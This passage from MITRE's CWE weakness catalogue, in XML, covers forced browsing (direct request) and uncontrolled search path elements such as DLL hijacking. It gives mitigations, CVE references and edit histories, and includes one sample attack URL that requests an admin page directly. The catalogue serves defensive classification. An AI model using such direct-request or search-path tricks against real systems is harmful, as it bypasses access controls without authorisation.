					          <Relationship_Target_ID>442</Relationship_Target_ID>
					          <!--Web Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>721</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>722</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A1 - Unvalidated Input-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>723</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A2 - Broken Access Control-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>471</Relationship_Target_ID>
					          <!--Modification of Assumed-Immutable Data (MAID)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>98</Relationship_Target_ID>
					          <!--Improper Control of Filename for Include/Require Statement in PHP Program ('PHP File Inclusion')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Overlaps Modification of Assumed-Immutable Data (MAID), authorization
						errors, container errors; often primary to other weaknesses such as XSS and
						SQL injection.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>forced browsing</Term>
					          <Alternate_Term_Description>
						            <Text>The "forced browsing" term could be misinterpreted to include
							weaknesses such as CSRF or XSS, so its use is discouraged.</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Apply appropriate access control authorizations for each access to all
							restricted URLs, scripts or files.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Consider using MVC based frameworks such as Struts.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>If forced browsing is possible, an attacker may be able to directly
						access a sensitive page by entering a URL similar to the
						following.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Attack">
							              <Code_Example_Language>JSP</Code_Example_Language>
							              <Code>http://somesite.com/someapplication/admin.jsp</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2144</Observed_Example_Reference>
					          <Observed_Example_Description>Bypass authentication via direct
						request.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1892</Observed_Example_Reference>
					          <Observed_Example_Description>Infinite loop or infoleak triggered by direct
						requests.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2257</Observed_Example_Reference>
					          <Observed_Example_Description>Bypass auth/auth via direct
						request.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1688</Observed_Example_Reference>
					          <Observed_Example_Description>Direct request leads to infoleak by
						error.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1697</Observed_Example_Reference>
					          <Observed_Example_Description>Direct request leads to infoleak by
						error.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1698</Observed_Example_Reference>
					          <Observed_Example_Description>Direct request leads to infoleak by
						error.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1685</Observed_Example_Reference>
					          <Observed_Example_Description>Authentication bypass via direct
						request.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1827</Observed_Example_Reference>
					          <Observed_Example_Description>Authentication bypass via direct
						request.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1654</Observed_Example_Reference>
					          <Observed_Example_Description>Authorization bypass using direct
						request.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1668</Observed_Example_Reference>
					          <Observed_Example_Description>Access privileged functionality using direct
						request.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1798</Observed_Example_Reference>
					          <Observed_Example_Description>Upload arbitrary files via direct
						request.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Theoretical_Notes>
				        <Theoretical_Note>
					          <Text>"Forced browsing" is a step-based manipulation involving the omission of
						one or more steps, whose order is assumed to be immutable. The application
						does not verify that the first step was performed successfully before the
						second step. The consequence is typically "authentication bypass" or "path
						disclosure," although it can be primary to all kinds of weaknesses,
						especially in languages such as PHP, which allow external modification of
						assumed-immutable variables.</Text>
				        </Theoretical_Note>
			      </Theoretical_Notes>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Direct Request aka 'Forced Browsing'</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2007">
					          <Mapped_Node_Name>Failure to Restrict URL Access</Mapped_Node_Name>
					          <Mapped_Node_ID>A10</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Unvalidated Input</Mapped_Node_Name>
					          <Mapped_Node_ID>A1</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Broken Access Control</Mapped_Node_Name>
					          <Mapped_Node_ID>A2</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Predictable Resource Location </Mapped_Node_Name>
					          <Mapped_Node_ID>34</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>127</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>87</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Relationships,
						Relationship_Notes, Taxonomy_Mappings,
						Theoretical_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Description,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="427" Name="Uncontrolled Search Path Element" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The product uses a fixed or controlled search path to find
					resources, but one or more locations in that path can be under the control of
					unintended actors.</Description_Summary>
				        <Extended_Description>
					          <Text>Although this weakness can occur with any type of resource, it is
						frequently introduced when a product uses a directory search path to find
						executables or code libraries, but the path contains a directory that can be
						modified by an attacker, such as "/tmp" or the current working directory. </Text>
					          <Text>In Windows-based systems, when the LoadLibrary or LoadLibraryEx function
						is called with a DLL name that does not contain a fully qualified path, the
						function follows a search order that includes two path elements that might
						be uncontrolled:</Text>
					          <Block Block_Nature="List">
						            <Text>the directory from which the program has been loaded</Text>
						            <Text>the current working directory.</Text>
					          </Block>
					          <Text>In some cases, the attack can be conducted remotely, such as when SMB or
						WebDAV network shares are used.</Text>
					          <Text>In some Unix-based systems, a PATH might be created that contains an empty
						element, e.g. by splicing an empty variable into the PATH. This empty
						element can be interpreted as equivalent to the current working directory,
						which might be an untrusted search element.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>668</Relationship_Target_ID>
					          <!--Exposure of Resource to Wrong Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Compound_Element</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>426</Relationship_Target_ID>
					          <!--Untrusted Search Path-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>417</Relationship_Target_ID>
					          <!--Channel and Path Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Unlike untrusted search path (CWE-426), which inherently involves control
						over the definition of a control sphere (i.e., modification of a search
						path), this entry concerns a fixed control sphere in which some part of the
						sphere may be under attacker control (i.e., the search path cannot be
						modified by an attacker, but one element of the path can be under attacker
						control).</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
				        <Operating_Systems>
					          <Operating_System_Class Operating_System_Class_Description="OS-independent"/>
				        </Operating_Systems>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This weakness is not a clean fit under CWE-668 or CWE-610, which suggests
						that the control sphere model might need enhancement or
						clarification.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>DLL preloading</Term>
					          <Alternate_Term_Description>
						            <Text>This term is one of several that are used to describe exploitation of
							untrusted search path elements in Windows systems, which received wide
							attention in August 2010. From a weakness perspective, the term is
							imprecise because it can apply to both CWE-426 and CWE-427.</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
				        <Alternate_Term>
					          <Term>Binary planting</Term>
					          <Alternate_Term_Description>
						            <Text>This term is one of several that are used to describe exploitation of
							untrusted search path elements in Windows systems, which received wide
							attention in August 2010. From a weakness perspective, the term is
							imprecise because it can apply to both CWE-426 and CWE-427.</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
				        <Alternate_Term>
					          <Term>Insecure library loading</Term>
					          <Alternate_Term_Description>
						            <Text>This term is one of several that are used to describe exploitation of
							untrusted search path elements in Windows systems, which received wide
							attention in August 2010. From a weakness perspective, the term is
							imprecise because it can apply to both CWE-426 and CWE-427.</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-3402</Observed_Example_Reference>
					          <Observed_Example_Description>"DLL hijacking" issue in document
						editor.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-3397</Observed_Example_Reference>
					          <Observed_Example_Description>"DLL hijacking" issue in encryption
						software.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-3138</Observed_Example_Reference>
					          <Observed_Example_Description>"DLL hijacking" issue in library used by multiple
						media players.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-3152</Observed_Example_Reference>
					          <Observed_Example_Description>"DLL hijacking" issue in illustration
						program.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-3147</Observed_Example_Reference>
					          <Observed_Example_Description>"DLL hijacking" issue in address
						book.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-3135</Observed_Example_Reference>
					          <Observed_Example_Description>"DLL hijacking" issue in network monitoring
						software.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-3131</Observed_Example_Reference>
					          <Observed_Example_Description>"DLL hijacking" issue in web
						browser.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-1795</Observed_Example_Reference>
					          <Observed_Example_Description>"DLL hijacking" issue in music
						player/organizer.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1576</Observed_Example_Reference>
					          <Observed_Example_Description>Product uses the current working directory to find
						and execute a program, which allows local users to gain privileges by
						creating a symlink that points to a malicious version of the
						program.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1461</Observed_Example_Reference>
					          <Observed_Example_Description>Product trusts the PATH environmental variable to
						find and execute a program, which allows local users to obtain root access
						by modifying the PATH to point to a malicous version of that
						program.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1318</Observed_Example_Reference>
					          <Observed_Example_Description>Software uses a search path that includes the
						current working directory (.), which allows local users to gain privileges
						via malicious programs.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0579</Observed_Example_Reference>
					          <Observed_Example_Description>Admin software trusts the user-supplied
						-uv.install command line option to find and execute the uv.install program,
						which allows local users to gain privileges by providing a pathname that is
						under control of the user.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0854</Observed_Example_Reference>
					          <Observed_Example_Description>When a document is opened, the directory of that
						document is first used to locate DLLs , which could allow an attacker to
						execute arbitrary commands by inserting malicious DLLs into the same
						directory as the document.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0943</Observed_Example_Reference>
					          <Observed_Example_Description>Database trusts the PATH environment variable to
						find and execute programs, which allows local users to modify the PATH to
						point to malicious programs.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0942</Observed_Example_Reference>
					          <Observed_Example_Description>Database uses the an environment variable to find
						and execute a program, which allows local users to execute arbitrary
						programs by changing the environment
						variable.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0507</Observed_Example_Reference>
					          <Observed_Example_Description>Server uses relative paths to find system files
						that will run in-process, which allows local users to gain privileges via a
						malicious file.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-2017</Observed_Example_Reference>
					          <Observed_Example_Description>Product allows local users to execute arbitrary
						code by setting an environment variable to reference a malicious
						program.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-0690</Observed_Example_Reference>
					          <Observed_Example_Description>Product includes the current directory in root's
						PATH variable.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0912</Observed_Example_Reference>
					          <Observed_Example_Description>Error during packaging causes product to include a
						hard-coded, non-standard directory in search
						path.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0289</Observed_Example_Reference>
					          <Observed_Example_Description>Product searches current working directory for
						configuration file.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1705</Observed_Example_Reference>
					          <Observed_Example_Description>Product searches current working directory for
						configuration file.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1307</Observed_Example_Reference>
					          <Observed_Example_Description>Product executable other program from current
						working directory.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-2040</Observed_Example_Reference>
					          <Observed_Example_Description>Untrusted path.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2072</Observed_Example_Reference>
					          <Observed_Example_Description>Modification of trusted environment variable leads
						to untrusted path vulnerability.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1632</Observed_Example_Reference>
					          <Observed_Example_Description>Product searches /tmp for modules before other
						paths.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>Georgi Guninski</Reference_Author>
					          <Reference_Title>Double clicking on MS Office documents from Windows Explorer
						may execute arbitrary programs in some cases</Reference_Title>
					          <Reference_Publication>Bugtraq</Reference_Publication>
					          <Reference_PubDate>2000-09-18</Reference_PubDate>
				        </Reference>
				        <Reference>
					          <Reference_Author>Mitja Kolsek</Reference_Author>
					          <Reference_Title>ACROS Security: Remote Binary Planting in Apple iTunes for
						Windows (ASPR #2010-08-18-1)</Reference_Title>
					          <Reference_Publication>Bugtraq</Reference_Publication>
					          <Reference_PubDate>2010-08-18</Reference_PubDate>
				        </Reference>
				        <Reference>
					          <Reference_Author>Taeho Kwon</Reference_Author>
					          <Reference_Author>Zhendong Su</Reference_Author>
					          <Reference_Title>Automatic Detection of Vulnerable Dynamic Component
						Loadings</Reference_Title>
					          <Reference_Link>http://www.cs.ucdavis.edu/research/tech-reports/2010/CSE-2010-2.pdf
					</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Title>Dynamic-Link Library Search Order</Reference_Title>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2010-09-02</Reference_PubDate>
					          <Reference_Link>http://msdn.microsoft.com/en-us/library/ms682586%28v=VS.85%29.aspx</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Title>Dynamic-Link Library Security</Reference_Title>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2010-09-02</Reference_PubDate>
					          <Reference_Link>http://msdn.microsoft.com/en-us/library/ff919712%28VS.85%29.aspx</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Title>An update on the DLL-preloading remote attack
						vector</Reference_Title>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2010-08-31</Reference_PubDate>
					          <Reference_Link>http://blogs.technet.com/b/srd/archive/2010/08/23/an-update-on-the-dll-preloading-remote-attack-vector.aspx</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Title>Insecure Library Loading Could Allow Remote Code
						Execution</Reference_Title>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2010-08-23</Reference_PubDate>
					          <Reference_Link>http://www.microsoft.com/technet/security/advisory/2269637.mspx</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>HD Moore</Reference_Author>
					          <Reference_Title>Application DLL Load Hijacking</Reference_Title>
					          <Reference_PubDate>2010-08-23</Reference_PubDate>
					          <Reference_Link>http://blog.rapid7.com/?p=5325</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Oliver Lavery</Reference_Author>
					          <Reference_Title>DLL Hijacking: Facts and Fiction</Reference_Title>
					          <Reference_PubDate>2010-08-26</Reference_PubDate>
					          <Reference_Link>http://threatpost.com/en_us/blogs/dll-hijacking-facts-and-fiction-082610</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Uncontrolled Search Path Element</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>38</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>471</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Observed_Example, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Description, Maintenance_Notes, Observed_Examples,
						Other_Notes, Potential_Mitigations, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Applicable_Platforms,
						Description, Maintenance_Notes, Observed_Examples, References,
						Relationship_Notes, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
